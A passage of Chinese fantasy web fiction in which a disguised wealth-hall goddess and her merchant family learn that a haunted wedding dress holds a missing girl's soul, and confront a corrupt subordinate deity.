“言言,怎么办啊,那老头说的没错,虽然官司顺利解决了,可是经此一遭,怕是没人敢再买甄古府的东西了。”甄青竹愁道。
继任家主,本想大赚一笔,却不成想出师未捷,先痛失了万两黄金。
轻雾锦出事以来,丝绸铺子查封停业不说,甄古府的其他产业也是门庭冷落。
“想想我就来气!”甄青竹突然骂道,“我们才出事不过两日,甄青钱手底下的那几间铺子竟然就急着与我们撇清关系,还谴责我们枉顾甄古府家规,赚黑心钱!”
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“甄青钱想干什么?想分家嘛!”
甄青竹又骂骂咧咧好几句,连着痛失万两黄金的怨气也一并发泄了。
呸,二房一家子都不是什么好东西!
骂了许久,甄青竹才发现古青言一句都没有回应她。
她这才发现,古青言一直拧着眉,不知在想什么。
“言言,你怎么了?”甄青竹满眼担忧。莫不是吓到了?
古青言抿着唇,犹豫了一下才开口:“阿竹,你觉不觉得那鬼嫁衣有些不对劲?同先前在铺子中看到的那些锦缎不大一样,与你那件礼服也不大一样。”
甄青竹一脸茫然。光顾着吵架了,完全没仔细看......
“布庄中的轻雾锦,满身杀伐之气,这也符合那些怨魂来自动植两族战场的推测。但那件鬼嫁衣气息却十分温和,没有丝毫戾气。它虽然扑向了张家家主,我却感觉它并无攻击的意图,反倒透着悲戚与......亲近之意?”古青言诉说着自己的感受。
看着古青言真诚的双眼,完全没有注意到的甄青竹静默一瞬,试探着提出猜测:“或许鬼嫁衣中的怨魂生前并非是两族的战士,而且交战地附近的百姓?”
“若它当真是温和无害的百姓,又为何会害死张家姑娘呢?”古青言当即反驳了这个猜测。
甄青竹想了一下,觉得有理。她懵懵的摇摇头,不明白张家的事都解决了,古青言为何还要纠结于这些小细节。
现在当务之急,不是挽回甄古府的口碑和商誉吗?
古青言却固执得很,回到府中后又将自己的疑惑讲给了古青舟和睿安。
“二哥哥,你是不知道,言言从大理寺出来就一直在琢磨这事,可入神了,我跟她说话都没有反应。”甄青竹手舞足蹈地模仿着古青言的模样。
古青舟和睿安刚从铺子上回来,官司虽结束了,生意却丝毫不见好转,还要给张家赔付一大笔钱,两人脸上都是一派愁云惨淡。
但见甄青竹这副诙谐的模样,都不禁露出些笑意来。
"我看是你话多太烦人,阿言懒得理你吧。"古青舟嘲笑道。
“污蔑!这是赤裸裸地污蔑!”
古青舟听完古青言的话,也同甄青竹一般没有太过放在心上。如今他们都一门心思地琢磨着如何能挽救甄古府在百姓心中的形象,哪有功夫顾及这些细枝末节的事情。
倒是睿安很上心:“三姑娘若是感兴趣,不如我们把那鬼嫁衣借过来,叫姑娘研究几日。”
见有人搭理自己,古青言很欣喜,但又有一些忧虑:“张家怕是不会借吧?如今我们两家也算是结仇了。”
准确地说,是张家单方面记恨甄古府。
“三姑娘若是信得过,便将此事交给在下吧,在下愿意尽力一试。”睿安笑得温和,却满含自信。
古青言点头:“二哥哥信任之人,青言自然信得过。”
“睿安,你胸有成竹的样子太英俊了!”甄青竹赞道,又转头问古青舟,“二哥哥你好福气啊,这样的人物你从哪里找来的?我瞧着可比你厉害多了,只做个管事也未免太屈才了吧。”
古青言也把好奇的目光投向古青舟。
5. 甄古府门庭冷落,张家人刻意磋磨
这些日子相处下来,古青言发现睿安此人办事周到体贴,上能得主顾信任,下能使属下信服。遇事从不慌乱,能泰山崩于前而面不改色。修为不低,模样也生得俊逸。
这样的人,到哪里都会引人注目的,怎会只做个管事呢?
古青舟却并未正面回答,只神色复杂地看着睿安:“隐怀兄的确远胜于我。”
睿安,字隐怀。
睿安有一瞬的怔愣。
许久没听到这个名字了,竟恍如隔世一般。
倒是甄青竹怪叫一声:“咦!睿安,你竟与前段时间朝廷降罪流放的官员同字诶。那人好像也叫做隐怀,就是不知道是不是同两个字。”
“流放的官员?”古青言讶然,她刚从仙界回来没几日,故而未听说此事。
“是啊,听说是犯了大罪......”甄青竹拉着古青言就滔滔不绝地讲起自己听到的传闻。
“阿竹。”古青舟却忽然打断了她,“传闻真假难辨,莫要妄议。如今官司虽定,家中生意却遭受重创,你这个做少主人的,合该到铺子里瞧瞧。”
这是要把甄青竹支走。古青言瞧出些门道来。
她瞧见睿安神色似有些不自在。
“哦。”甄青竹察言观色,乖乖起身往铺子里去了。没走两步,又倒回来扯起古青言:“言言你陪我一起嘛。”
姐妹两个走了,睿安也站起身:“我去帮三姑娘借嫁衣。”
古青舟望着他有些落寞的背影,无声叹了口气。
“大娘,来瞧瞧布匹吧,这几日铺子里都只要七成价。”
“美人姐姐,你瞧瞧这缎子,无论颜色还是质感都很衬你,来瞧一瞧吧。”
“这位郎君,只要七成价,机会难得,不瞧一瞧吗?”
官府在皇后的示意下动作很快。古青言两人前脚离开大理寺,后脚案子的结果就已经公示全城。古青舟官复原职,绸缎铺子也解了封条。
但铺子内才被闹事的买家砸得粉碎,重新修缮也需要一定的时间。
甄青竹坐不住,就在铺子门口支了个摊子,势要做成铺子重开后的第一笔生意。
然,无论她如何卖力,说得怎样天花乱坠,过路人都绕着她们走,生怕沾染上分毫。
甄青竹不信邪,捧着布匹拉住了过路的一位妇人:“婶婶,您瞧瞧这缎子,手感顺滑,成色极好,绝对买不了吃亏……”
还不待她说完,那妇人却急忙甩开她:“去去去,你们家的蚕丝都沾染了战场的怨魂,怎的还拿出来害人。”
“婶子,这是先前库存的蚕丝,不是那一批,更不是轻雾锦……”甄青竹见妇人要走,急追上去,“那您瞧瞧这一匹呢,棉布,不是丝做的,入秋要转凉了您买去做几身厚些的衣裳……”
“谁不知你们甄古府做的是串联三族的生意,这棉布不从动妖族来也是从植妖族来的,如今那两族都在打仗,谁知有没有冤魂。”
“去去去,莫要再缠着我了,谁胆子大你去卖给谁吧。”妇人嫌弃地将甄青竹推远了。
甄青竹沮丧地回来,坐在摊子前耷拉着眉眼:“言言,怎么办啊?咱们家的货源一向是来自动植妖两族的,靠着与物妖族货源的差异性才能脱颖而出。如今两族战事吃紧,打断了通商路不说,还出了怨魂这种事。今后上哪去找货源啊。”
古青言想了想,道:“咱们物妖族和植妖族边境上,有一座天山?”
“是啊。”甄青竹不明所以,“传闻天山有山神,乃是仙界的一位隐世之神。不过天山与其周围村镇都与世隔绝,既不受物妖族管辖又不受植妖族约束,谁也没真正见过那位山神。”
“天山产云丝。用这种云丝做成的料子,轻薄如云,细腻柔软。我想,当比轻雾锦品质还要好些。”天山每年都要往仙界贡几批云锦,古青言她们的官服就是用这东西做的。
若是能与天山谈一笔生意,品质虽比不上送往仙界的贡品,却足以压过如今妖界市面上的锦缎。
“言言,你怎么知道?”
古青言顿住,笑着糊弄过去:“前些年游历时,道听途说的。”
隔着几条街的大宅院前,细瘦泛白的指节敲响了远门。
不多时,小厮打扮的妖探出头来:“什么人?”
看到睿安,小厮愣了一下,随即露出厌恶的神色,立时就要关上门。
睿安忙用手抵住,依旧是温和之色:“小哥儿莫急着走,某是来送赔偿金的。”
睿安指了指身后,几名仆从抬着数只大箱子候在门外:“数额庞大,当与贵家主亲自交接才好。”
小厮看了眼,不情不愿地撂了句“等着”,便关上门通报去了。
睿安在门外等了许久,身后的仆从都有些不耐烦了:“安管事,他们这是刻意磋磨,给您颜色瞧呢。”
睿安却是神色不变,脊背丝毫不弯:“张家千金受甄古府货物所累丢了性命,是我们的罪过,张家有怨气也是理所当然的。”
终于,大门再次打开,来人却不是张家家主,而是张家管事,姓刘。
睿安也并没有多意外,张家主定然是不愿再见到甄古府之人的。
刘管事一边指挥着人去接睿安带来的箱子,一边斜眼打量他,冷哼一声:“来的是我,失望了?”
“睿安管事还当自己是当年的安大人不成?区区一个商贾之家的管事,还想见我们家主,也不看看自己的身份。”
睿安始终如一的温和神色有了一瞬间的僵硬,但很快被他掩饰下去,恢复常色。
“把箱子
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都抬进去,我要亲自清点,绝不能叫这奸商再耍什么花招。”刘管事刻意加重了奸商二字。
睿安神色如常,并不因刘管事的冷眼而恼怒。他跟着刘管事进入府中。
张府中到处都挂着白布,来往仆从皆是一副哀戚之色,行色匆匆。
四周安静极了,无人敢大声说话,生怕惊扰了亡魂似的。
靠近内院,睿安却忽然听到了一阵诵经声。
悠远而空灵,似从远古而来,如道珠击打在心上,连灵魂都被涤荡。
“贵府在做法事?”睿安轻声问道,不敢搅扰神明。
“哼。”刘管事冷笑,“还不是贵府卖的好锦缎,若不请法师出手清除,我张府上下还如何安枕?”
虽是尊称,却语气嘲讽。
睿安自知理亏,没再接茬,继续跟着刘管事来到偏厅。
刘管事仔细清点了睿安带来的偿金,验明数目与真假,记账入库。
“项目已清,睿安管事请回吧,张家不欢迎甄古府之人。”刘管事当即就要将睿安几人赶出去。
睿安却没有动,他还肩负着古青言的嘱托:“某有一盏长明灯,受我家三姑娘所托,赠予张姑娘,不知刘兄可否引荐。”
“谁稀罕一盏长明灯,怎么不叫你家姑娘把我家姑娘的命还回来。”刘管事嗤笑,脸上带着恨意。
姑娘那样好的妖,温顺恭谨,待下宽容,眼看就要成家,却因一件嫁衣白白丢了性命。
都是甄古府这奸商,为了盈利偏要从蚕妖手里贩货,让原本与世无争的物妖族卷入硝烟带来的贻害中。
都是这奸商的罪过!
睿安知晓张家心中的芥蒂,只得又道:“是宫中的长明灯。据说,是仙界的福赐。”
“保亡者之魂永不陷入黑暗,在光明的照耀下往生极乐。”
刘管事双目微眯。
若以眼前这位当年在陛下面前的恩宠......真有神灯也不奇怪。
那这长明灯可就是件难得的宝贝了。
“这事我需通报家主,你在此等候。”说完,刘管事便欲离去。
突然,他顿住了脚步,转身看向睿安,露出一抹不怀好意的笑来:“安大人既是献宝而来,怎能屈居于这简陋的偏厅中。”
“来人,带安大人到前殿去。”
“嘭”的一声,屋门关住。
睿安被带到了内院的堂屋中,带来的几名仆从被留在了原处。
哼,叫这甄古府之人自己尝尝那鬼嫁衣的滋味。
安大人?我呸!什么东西!
关门的小厮恨恨道。
睿安转过身,鲜红的嫁衣赫然被放置在堂屋正中,竟未做任何封印处理。
看来刘管事这是有意给自己难堪!
6. 祈春舞如泣如诉,归故乡饮水思源
睿安唇角勾起,主动朝嫁衣走去。
倒是正随了他的心愿。
他认真地观察起这件嫁衣来。
那边,摆了睿安一道的刘管事正恭顺地站在紧闭的屋门前。
屋内,素衣仍难掩雍容的妇人正掩面低泣,哭得难以自抑。
“夫人,你这般悲伤,晚晚怎能安心离去,她一向是个孝顺的孩子。”张衣涛揽着张夫人,轻声安抚着。
张辞晚,正是张氏女闺名。
尔尔辞晚,朝朝辞暮。
张氏夫妇希望女儿身体康健,长命百岁。
可惜,天不遂人愿。
张夫人努力拭了拭眼泪,却还是忍不住痛哭:“我怎能不伤心?我只有晚晚这么一个女儿,却年纪轻轻的就这么去了。”
张衣涛叹息一声,眼底也尽是哀伤:“我又何尝不心疼晚晚。我已请来了仙界来的神官为晚晚祈福,叫她早入轮回,今生也好,来世也罢,能与我们再有一场亲缘。”
张夫人颔首,眼泪却仍难以止住。
张衣涛又安抚了一阵,只怕妻子哭坏了眼睛,便从袖中拿出一只长箫,试图转移她的注意力:“今日晚晚便要入殡了,夫人再为晚晚奏一首祈春曲吧,这是晚晚生前最爱的舞曲。”
“好。”张夫人这才堪堪将泪痕擦去。
袅袅箫声起,如丝如缕。
本是如春日朝阳般盎然的曲调,却处处透着哀婉凄凉的情思。
箫声渐渐传入睿安所在的堂屋。
此时的睿安已经放弃了对鬼嫁衣的研究。他并不能感受到古青言所说的温和或是杀意。
言姑娘之心细如发远非常人能及。
罢了,还是想办法将这嫁衣带回去给她研究吧。
睿安端正地坐在木椅上,眼睫低垂,指节敲击着扶手,心里却在想着怎么向主人家讨要今日这场隆重法事的主鬼公。
唉,有些难办啊。
睿安抬起头活动活动有些泛酸的脖子,甫一转眼,饶是镇定如他也惊了一下。
只见那鬼嫁衣已然立了起来,缓步走……准确的来说是飘到了堂屋正中。
不知是不是错觉,睿安竟从这几步路中看出了温婉秀雅之感。
红袖婉转,随箫声舞动起来。
艳红的裙摆无风自起,旋转摇曳间,如蝶翼翩然,又似琼苞怒放。
以吾长舞,祈神之临。
春回泽至,万灵无虞。
祈春之舞!
张氏女辞晚,最擅祈春舞。
一个不可思议的念头在睿安心中燃起。
他“腾”地站了起来,双目死死盯着堂中疾转回旋的赤红嫁衣。
良久,箫声渐歇,堂中之舞也随之止息。
裙摆不再飘扬,红袖不再翻飞。低落哀愁的情绪在嫁衣上弥漫开来。
虽然只是一件嫁衣……
又怎会只是一件嫁衣!
这分明是一位如花似玉,舞姿婀娜的姑娘。
睿安从满心惊骇中找回自己的声音:“辞晚姑娘?”
嫁衣猛然僵在原地。
“是你吗?”睿安轻声问。
嫁衣颤了颤,紧接着手足无措了起来,在原地急得团团转。似乎是想表达什么,却不能言语,甚至没有手脚来比划。
睿安不知道它想表达什么,但显然,它对“辞晚”这个名字有反应。
正欲再问,房门忽然被从外面打开了。
“时辰到了,将这妖物压去祭坛。”张衣涛身后跟着一个穿着神袍的女子,几个道士打扮的人将嫁衣团团围住。
睿安认出了那女子。先前甄古府为少主甄青竹远行祈福,请的也是这位据说来自仙界财神殿的神官。
只是甄古府经商崇敬财神,张家驱鬼也寻财神殿的神官......是否有些“文不对题”?
“妖孽,还不束手就擒?”穿着神袍的女子冷冷开口,来自神的威压在场间弥漫开来。在场诸人都不好受。
那鬼嫁衣却没有反抗,只悲戚地面朝张家家主。
“且慢。”睿安没想到他们来的这样快,只得出手阻止,“张家主,你还不能将这冤魂除去。”
张衣涛却显然并不会将睿安的话放在眼里:“安小儿,我张家之事,轮不到你这奸商帮凶指手画脚。”
说罢,就要使人继续去抓那嫁衣。
此刻,见了嫁衣之舞,即便不为古青言所托,睿安也要将之先保下来:“张公,这嫁衣有古怪!事情尚未明了,张公难道想让辞晚姑娘死的不明不白吗?”
见他还敢提张辞晚,张衣涛更是怒极:“有何不明了?分明是你甄古府与蚕族勾结,纵鬼怪行凶,害了我儿性命,还有何不分明的!”
“这嫁衣方才跳了祈春舞!”睿安只得如实说。
听到“祈春舞”三字,张衣涛先是一怔,接着脸上痛色更深:“祈春舞乃是我物妖族神舞,这鬼怪怎么会跳!你甄古府为了包庇它,竟然说出如此荒唐之言,简直不可理喻!”
“没错!若这衣中冤魂当真来自交战地,又怎会跳我物妖族之舞?”睿安顺着他的逻辑辩驳道。
张衣涛一时噎住了。
睿安语气缓下来:“张公若不信我所言,大可让人再奏祈春曲,介时自会见分晓。”
张衣涛不语。
他知道,睿安不会撒谎。
物妖朝廷中任何人都会相信这一点,包括陛下和皇后殿下。
“所以,你是什么意思?”张衣涛心中很乱。
就算睿安所言是真……
他不知道,他不知道该如何猜想这件事......
祈春舞是晚晚最爱的舞曲。晚晚自小体弱,最是向往春日的盎然生机。
“所以,你是什么意思?”他又问了一遍,浑浊哀伤的双眸紧紧盯着睿安的眼睛,迫切想要他给自己一个答案。
“事情尚未明了,在下不敢贸然向张公下定论。”睿安躬身行礼,郑重道,“还望张公给在下一个机会,许我将这嫁衣带回府中细细研究,定还张公一个交代。”
张衣涛没有说话。
他不愿再相信甄古府。
“睿安的为人,张公应当清楚。纵使甄古府与我有恩,我也绝不是徇私包庇之人。”睿安再次保证,神色恳切,让人莫名信赖。
“表哥,要不我们再多让几成利吧?天下攘攘,皆为利来。只要让利够多,我就不信没有妖心动。”
“我倒认为,我们甄古府如今所售货物可替代性太高了,以往能靠着其他两族买来的原材料脱颖而出,如今优势变劣势,自然寸步难行。我们应该创新一些特色产业。”<
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“老奴觉得,新的要做,旧的也不能放弃。”
“不如我们干脆免费送出一批,待他们用过之后,自然会知道我们的商品没有问题。”
这边,甄古府众人看着惨淡的生意,心急如焚。甄青竹于是就将甄古府的骨干召集起来开了个小会。
一群人你一言我一语地发表着观点,大半天过去了都没能商讨出个定论来。
古青言坐在自己的位置上,安静地听着每个人的发言,思考着这些方案的可行性。
“言言,你觉得呢?有什么想法尽管说。”甄青竹见古青言不说话,生怕冷落了她。
自小一起长大,她最清楚古青言这个人,什么都憋在心里,不敢表达。
堂堂甄古府长女,也不知在畏缩些什么。
唉,没有自己这个妹妹,她可怎么办啊。
众人的目光因为甄青竹的话而全部集中到了古青言身上。
“阿言是怎么想的,说说看。”古青舟也给了她一个鼓励的眼神。
古青言哭笑不得。
“说出你的观点,展现你的智慧,你就是世界上最聪明的女子!”甄青竹表情浮夸,袖子差点甩到古青舟脸上。
还好一旁绛铜及时帮她把袖子收了回来,动作十分熟练。
听着甄青竹没头没脑的话,古青言表情出现一丝裂痕,尴尬地只想找个地缝钻起来。
但大家都还看着她呢,不能躲。
古青言清清嗓子,努力提高音量以保证在场众人都听得到她说话:“我觉得大家说的都有道理。”
“但万事开头难,我们如今最需要的,是第一个再次使用我们商品的妖。”
“我在……凡间的话本子上看到过,人界皇宫中,后妃们的所穿所用,都会受到民间的追捧与模仿。”
“所以,或许我们可以重金收买一些美名在外或是德高望重之妖,叫他们使用我们的货物,从而潜移默化的影响民众。”
说完,古青言看向周围人的反应。离家多年,她并不了解家中做生意的处事风格,这些管事伙计她也无一相熟......
众人一时都没有说话。
无边的安静搞的古青言竟有些紧张,心里暗暗思量:“我说错什么了吗?快来个人接话呀。”
“言言,你好聪明啊!”甄青竹突然打破了寂静,“我还担心你走了那么多年会不适应家里的生意呢。”
说着她也不顾伙计管事们都在场,趁机又黏黏糊糊的扑了过来。
她把下巴垫在古青言肩上,明眸灿若星辰,笑意如浅波流转。
小狗似的。
古青言心里这样想着,却是没忍住笑了起来。
“我觉得三妹妹说的在理,我们或可一试。”古青舟也露出笑容,“但收买的人选我们还需仔细考量。”
“既要名声在外,又要人品厚重。”一管事接道。
“我们可以在不同行业都找一位。”又一伙计补充。
众人又七嘴八舌地讨论了起来。
古青言看着众人在她的方案之上将计划越来越完善,终于有了重回家中的实感。
这里不是富丽堂皇,众神云集的财神殿。
却是她的故乡,她来自这里。
或许,在回归仙界前,她能为这里做点什么?
7. 鬼嫁衣何去何从,开灵城好戏登场
最终,经过众人再三斟酌,选定了这两人。
南竹阁墨公子—最受女妖喜爱。
玉英楼瑶姑娘—最受男妖追捧。
有了主意,众人高高兴兴地散去,各自做事了。
“我们两个去请墨公子吧。”甄青竹悄悄凑在古青言耳边,神情却掩不住兴奋。
尽管多年不见,但身为一母同胞,从小穿一条裤子长大的亲姐妹,古青言又何尝不了解甄青竹的小心思。她轻哼一声,矜持道:“你是想请墨公子吗?你分明是想去逛南竹阁。”
甄青竹被戳中心事,也不心虚,反倒是大大方方地承认了:“对啊,我就是。我早就听闻南竹阁美男如云,心向往之很久了。以往没有正当理由,母亲不叫我去那等纸醉金迷的地方。如今好不容易有机会,言言你就陪我去嘛。”
“男色嘛,哪个女妖不喜欢。我只是犯了全天下女子都会犯的……小爱好,我有什么错。”甄青竹理直气壮。
见古青言很是犹豫,又补充了一句:“言言,我知你对男妖都敬而远之。实在不行……玉英楼也行。”美女她也喜欢看。
最后那句十分小声。
古青言:……
耐不住甄青竹软磨硬泡,古青言正要随自家不成器的妹妹前往南竹阁一饱眼福……不是,一探究竟。
咳咳,她是不会承认她其实也挺想去的。
然而,姐妹俩的美梦出门未半而中道崩阻。
刚走到府门前,就看到睿安捧着什么东西从外面回来。
“睿安,你去哪了?今日都没怎么见你。”甄青竹已然忘了睿安应承古青言去借嫁衣的事。
古青言却很高兴,有些难以置信地确认道:“是借回来了吗?”
睿安含笑点头。
几人重新回到屋内,睿安将自己在张府的所见所闻一一讲述。
甄青竹听罢,惊奇地看向案上的嫁衣:“你是说,这鬼嫁衣其实才是张家的辞晚姑娘?”
此时的嫁衣安静地摆放在案桌上,没表现出丝毫异动。
“这还只是我的猜测。”睿安慎重道。
古青言也看着嫁衣。
离得这样近,她能清晰地感受到嫁衣上温和却哀伤的气息。
法术变幻,古青言手上出现一支玄色长笛。
“辞晚姑娘,如若是你,就再跳一曲祈春舞,好吗?”
嫁衣微微颤动。
古青言轻轻吹奏起长笛。
一曲毕。
古青言和甄青竹都惊奇地看着场中翩然起舞的嫁衣。
睿安见过一次,已经不足为奇了。
“张家姐姐定是个曼妙善舞的美人。”甄青竹赞叹道,迅速接受了鬼嫁衣就是张辞晚的事实。
古青言觉得她两眼放光,口水都快流出来了。
嗯……对着一件嫁衣。
张家姑娘没死,不用再背负一条妖命,这对甄古府来说无疑是一件天大的好事。
但是,然后呢?
为何鬼嫁衣会是张姑娘?
怎样能将她从嫁衣中救出来?
几人集体陷入沉思。
睿安命人给张姑娘安排了一个房间休息,然后随口提起:“今日张家在做法事,请的竟也是财神殿那位神官大人。”
听到姚璃竟然在那,古青言这才想起还有这一茬没有处理:“张家驱鬼,她一个财神殿的文官掺和什么?”
“阿言。”古青舟提醒,“对神官大人尊敬些。大人虽是掌财之神,但既然插手此事,定是自有神通。”
“哦。”古青言顺从地应下,心里却想着该尽早将姚璃之事处理一下,以免再生事端。
姚璃刚从张家回到甄古府为她修建的神观中。
张家以重金请她主持法事,最后却因为个不知哪里来的管事不了了之。这些下界的低等货色......
姚璃愤愤地咒骂几句,一抬头,却瞧见一道浅色背影淡然立在前方的回廊上,在夜色下有些看不真切。
“谁在那?”姚璃厉声呵斥。今日本就心气不顺,这人竟敢擅闯神观惊扰于她,她定要好好教训教训这不知天高地厚的家伙。
姚璃气势汹汹地往回廊上去。
待走近些,姚璃却觉得这人十分眼熟,似乎是......
背影转过身来,泛冷的眸子直视她的眼睛,本是温婉柔和之相,却有说不出的凌厉之色。
姚璃心跳如雷,她顾不得多思,“扑通”一声跪地:“下官参见司银。”
古青言低头看着这位多年来得力的下属,眸中神色复杂。
姚璃与她这种下界飞升上去的神官不同,乃是仙族后裔,在财神殿供职的时间比她还长上许多。
刚飞升时,她只是财神殿的一个小官,人生地不熟,多仰赖这位热心肠的前辈关照一二。她坐上银殿主神之位后,也最信赖姚璃,对于她的行踪和业绩从不多过问。
此番在妖界见着她,古青言是万万没有想到的:“我怎么记得,我派你下界帮扶信徒,去的是人界呢?”
人界尽是凡人,灵气稀薄,但胜在富足安稳,信徒也比妖界多得多。姚璃在人界历练几年,想必就能再顺利升职。
“下官是受钱典银所托......”
“撒谎!”见姚璃不肯说实话,古青言心中更加失望,“你不知道吧?钱典银早已提前结束妖界之职,回仙界述职了。”
姚璃脸色一变,这事突然,她确实并不知情。
“你谎报坐标,擅离职守,还假传神旨,哄骗信徒给你多缴贡品。你这可是搜刮民脂民膏啊。”古青言痛心疾首,“你可知这数罪并罚,是要削去你的官位的。”
一听要削去官位,姚璃顿时慌了:“我不能丢官,我在银殿苦心经营这么多年,你不能罢我的官。”
古青言深深地看着她。
“阿言。”姚璃换了称呼,想打感情牌,“你我相识多年。这些年你不善交际,许多人情往来都是我替你做的啊。阿言,你不能这么对我。”
古青言弯下腰,平视她;“正因为我们相识多年,这些天我都没有将此事禀给主上。姚璃,你跟我说实话,你为什么要这么做?”
姚璃沉默。
古青言扶住她的肩膀,低下头去寻她的眼睛:“你说实话,我可以从轻发落。”
姚璃面露挣扎,似是几番犹豫,最终面露苦色:“司银认识我时,我就是银殿典银了。这么多年,您一路做到
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了司银,成了一殿主神。我却只升了一级,还多有赖您的提携。是我做的事不够多吗?”
姚璃抬头与古青言对视:“不!是因为我修为低下难以进阶!我只有敛财,只有大肆地敛财我才能买得起那些昂贵的天材地宝,珍奇丹药,我才能突破修为屏障!”
古青言看着她,似怜惜,似哀戚:“只是因为这个?”
“只是?”姚璃苦笑一声,“您能从妖界这等贫瘠之地飞升成神,是何等的天资卓越,自然不会懂我的心酸苦楚。”
古青言没有说话,低垂着眼帘不知在想什么。
姚璃见她不说话,有些心慌。她知道自己这个上司最是心软,这回怎的如此严厉?
“司银,你再给我一次机会,我可以将功折罪。”姚璃扯住古青言的衣袖,“那个张家姑娘,她没死,她的魂魄就在那嫁衣里面。我可以救她,我会锻体之术。只要找到与其魂魄属性契合的灵材,就可以重塑妖身。”
“甄古府摊上了官司,若是张家姑娘能活过来,那么一切自然就解决了。我虽收了甄古府好些银钱,但若帮他们摆平此事,也不算亏了他们。这样,可算将功折罪?”姚璃希冀地看着古青言。
“你知道张姑娘还活着,还答应张家做法事超度她?”古青言却从这话中听出端倪,“也是为了钱?”
姚璃没想到古青言竟连她去了张家都知道,一时哑然,只得闷声点了点头。
古青言叹口气,将她从地上拽起来:“要想将功折罪,两件事。”
“第一,为张姑娘锻体,灵材我会解决,你只管施法。”
“第二,我要你做一场法事。你去跟甄古府提,在城中办一场盛大的法事。当着全城人的面超度那些沾染怨魂的轻雾锦,并为全城百姓祈福。你既然接了张家的法师,想必是懂些超度法术?”
如此,有仙界神官作保,大家自然会相信甄古府的商品不再有问题。
姚璃一一应下,终于松了口气。她就知道古青言还是念旧情的。
“不知司银此番,为何会下界啊?”姚璃带着试探,小心翼翼问道。
古青言看她一眼,没说实话:“探亲。”
“探亲?”姚璃想了想,觉得也算合理。古青言确实是妖族出身。
“我不愿因为身份今非昔比而与家人生分,故而有所隐瞒。你也不要将我的身份说出去,平常见面只当我是寻常妖族便是。”古青言叮嘱道。
姚璃应下,古青言便挥手让她退去了。
望着姚璃远去的背影,古青言紧锁的眉头一直没有松开。
如果说姚璃骗取贡品是为了钱财,那么她为什么要打开放着轻雾锦的仓库呢?
当日她与睿安在仓库查探遭到了衣服鬼攻击,离开时为了防止妖物出来作乱,她特意在门上加了一道锁。
这是财神殿锁银库专用的秘法,寻常人根本打不开。大哥哥手下那些管事只是法力低微的普通妖族,又怎么可能轻而易举地背着她将东西运出去发售呢?
如今妖界之中除了她,只有同样拥有银殿神力的姚璃能打开那锁。
她为什么要这么做?
她又是否看出了锁上附有财神殿秘法,早就猜到了她在这呢?
8. 神农木意外现世,开灵城好戏登场
"青檀皮......"
“不行。”
“沙田稻草呢,有感觉吗?”
红袖拍击水面,溅起水花。
也不行......
"再试试杨桃藤汁呢?"
房间中央,浅浅的池子不算大,鲜红的嫁衣浸泡其中。池中之水晶莹透亮,在阳光的照耀下覆上了一层圣洁的光辉。
这水乃是瑶池水,常年被神辉照耀,有清心固魂的奇效。即便是在仙界,一立方也卖到了天价。
不过对于三界最有钱的财神殿来说,也算不得多稀奇。
除了瑶池水,古青言脚边还堆着不少奇珍异宝,个个有价无市。
张辞晚是一只纸妖,若要重塑肉身,当以木属性灵材最佳,水属性灵材次之。
故而古青言专门传信从仙界收集来这许多木,水属性的宝物。为了给张辞晚重塑妖身,她可是花了大价钱。
她往池子里丢一个,就在手边的账本上记一笔。
张姑娘是受战争怨魂所害,此事疑点重重。财神大人让她查妖族战事的异常,此事应当也算一件吧?
所以为救张姑娘的所有花费......算公事。嗯,主上理应报销。
古青言这样盘算着,又记下一笔。
可惜,试了这么多,始终没能找到与张辞晚足够契合的材料。
古青言眉宇间露出忧色。
这杨桃藤汁已经是她能找到的最后一种了,却还是以失败告终。
“言言,你莫要太着急。”甄青竹在旁边安慰道,“世间万物都是独一无二的,想要找到与辞晚姑娘契合的灵材重塑肉身哪能那么容易。我们也只能尽人事听天命。”
池中的嫁衣拍拍靠近古青言的岸边表示赞同。
古青言急忙把嫁衣袖子泡回水中:“阿晚别闹,好好泡着,魂魄灵气吸收不充分了可怎么办。”
嫁衣:……
确认嫁衣整个都泡进去了,古青言继续发愁:“道理我明白,可是阿晚一日不好,我心便一日难安。”
甄青竹撇撇嘴,有些吃醋。自从这张家姑娘来了,言言整日与她混在一起,都顾不得理她了。
也罢,赶紧救了送回张家去。
终究是个外人。
她才是言言最亲最爱的姐妹!
甄青竹这样安慰着自己,坐下来与古青言一起摆弄起灵材。
“青舟小子!竹丫头!快来迎接你们亲爱的小姨。”突然,嘹亮豪迈的女声响彻甄古府。
古青言面色一僵,扭头瞅了瞅忽然兴奋起来的甄青竹。
这下好了,大喇叭也回来了,跟小喇叭凑在一起,这府上要永无宁日了。
那边大喇叭还在喊着:“言丫头?人呢?怎么一个也看不到。”
这边小喇叭很是惊喜:“是小姨回来了!走,我们快去迎她。”
甄青竹说着跳起来就往门外跑,一溜烟就消失在了古青言的视线中。
古青言早已习惯了自己风风火火的妹妹,转头对池中的张辞晚道:“阿晚,你在此好好泡着,我去前院瞧瞧。”
说着,她又往池中加了几勺瑶池水。
张辞晚这次没敢再碰岸边,拍了拍水面表示自己知道了,叫她安心去。
大喇叭女子是古珺的幺妹,古青言姐妹二人的小姨——古玎。她生性放荡不羁爱自由,不愿拘在府中,常年带着商队走南闯北,古青言同她算不得特别熟悉。
记忆里,小姨似乎并不喜她温吞的性子。
甄青竹倒是很喜欢她,二人性格相似,十分投机。
古青言到前院时,二人已经聊得热火朝天。
“小姨,你这一路辛苦了吧?”甄青竹拿着扇子给跑得满头是汗的古玎扇风。
“我在植妖族听闻你们出了事,马不停蹄就往回赶。这不,我带着几个亲信先回来了,大部队还在后头呢......”古玎讲得口干舌燥,牛饮一口茶水,正要继续讲,余光看到古青言过来。
“小姨。”古青言规矩见礼。
“自家人这么多规矩做什么。”古玎一把将古青言拉了过去,“许久不见你们两个丫头了,来,小姨送你们个礼物吧。”
古玎从自己的储物法器里倒出一大堆乱七八糟的东西,让姐妹两个自己挑选。
“哇,小姨你也太好了。”甄青竹都没看是些什么东西,立时夸赞了起来,把古玎夸得高兴极了,许诺下次走商回来还给她们带礼物。
甄青竹撩起裙子一屁股坐到了地上,一件一件地翻看着地上的礼物们,每看一件就赞叹一次。
“哇,这是什么!”“好厉害!”“好高级!”“没见过!”
相比甄青竹的松弛惬意。古青言就有些拘谨了。
她没好意思去翻礼物,蹲在一旁观赏甄青竹说相声似的研究每一样东西,打算等甄青竹挑完自己随便拿一件。
忽然,她目光扫过礼物堆里一段不起眼的木头,倒吸一口凉气。
她瞧瞧木头,又瞧瞧古玎,终于开口问道:“小姨,这是何物?”
古玎随意扫了一眼,漫不经心:“哦,神农木。”
竟然真的是!古青言震惊极了。
连甄青竹也被她这一句震在了原地。
神农木?
神......农?木?
那你就这么随意扔着?
